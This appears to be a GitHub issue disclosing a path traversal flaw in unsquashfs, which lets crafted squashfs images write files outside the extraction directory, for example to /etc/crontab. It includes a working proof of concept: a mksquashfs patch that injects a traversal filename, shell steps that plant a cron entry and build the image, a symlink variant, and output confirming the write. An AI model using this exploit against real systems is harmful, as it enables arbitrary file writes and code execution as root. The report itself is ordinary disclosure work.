Skip to content

unsquashfs - unvalidated filepaths allow writing outside of destination #72

Closed
@staaldraad

Description

@staaldraad

Squashfs stores the filename in the directory entry, this is then used by unsquashfs to create the new file during the unsquash. The filename is not validated for traversal outside of the destination directory, this allows writing to locations outside of the destination, such as /etc/crontab which could lead to code execution.

To test this, the following change can be made to mksquashfs: https://gist.github.com/staaldraad/6799182a78410081238e75d5abec2da0#file-mksquashfs-patch

--- mksquashfs.org      2019-09-10 16:11:21.000000000 +0200
+++ mksquashfs.c        2019-09-10 16:12:28.000000000 +0200
@@ -3168,8 +3168,15 @@
        struct dir_ent *dir_ent = malloc(sizeof(struct dir_ent));
        if(dir_ent == NULL)
                MEM_ERROR();
-
-    dir_ent->name = name;
+
+    char *fname = "../../../../../../../../etc/crontab\0";
+    //char *fname = "slash/etc/crontab\0";
+
+    if( strcmp(name, "meh\0") == 0 ){
+           dir_ent->name = fname;
+    } else {
+           dir_ent->name = name;
+    }
        dir_ent->source_name = source_name;
        dir_ent->nonstandard_pathname = nonstandard_pathname;
        dir_ent->our_dir = dir;

Recompile mksquashfs and then create the "bad" squashfs image.

The first example is using a directory traversal, (this is easiest done in a Docker container)

$ cd squashfs-tools
$ docker run -it -v `pwd`:/squash ubuntu:latest /bin/bash
$ cd /squash
$ echo "* * * * * id > /tmp/id" > /etc/crontab
$ mkdir poc
$ echo 1 > poc/meh # this is the file need to trigger the fake filepath insert for this poc
$ ./mksquashfs poc poc-image.sqfs
$ exit
# back on host - assume this is done as root user for this to write to /etc/crontab
$ unsquashfs -d /tmp/somelocation poc-image.sqfs
$ cat /etc/crontab
* * * * * id > /tmp/id
# after 1 minute
$ cat /tmp/id 

This works pretty well since the unsquashfs ends up prepending the file data to an existing file, or creating the file+path if it does not exist.

The same can be done with a symlink. Same steps as before except additional file is added to thepoc folder:

$ ln -s / /squash/poc/slash

Attached are two poc squashfs images, one with directory traversal and the other with symlink. Both will end up creating the file /tmp/poc_squashfs.txt

root@u:~/squashfs_vuln_poc# ls /tmp/poc_squashfs.txt
ls: cannot access '/tmp/poc_squashfs.txt': No such file or directory
root@u:~/squashfs_vuln_poc# unsquashfs -d /home/ubuntu/squishy squashfs_dir_traverse.sqfs
Parallel unsquashfs: Using 1 processor
1 inodes (1 blocks) to write

[=================================================================================================================================================|] 1/1 100%

created 1 files
created 1 directories
created 0 symlinks
created 0 devices
created 0 fifos
root@u:~/squashfs_vuln_poc# cat /tmp/poc_squashfs.txt
hello from the poc

Sample squashfs images
pocs.zip

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions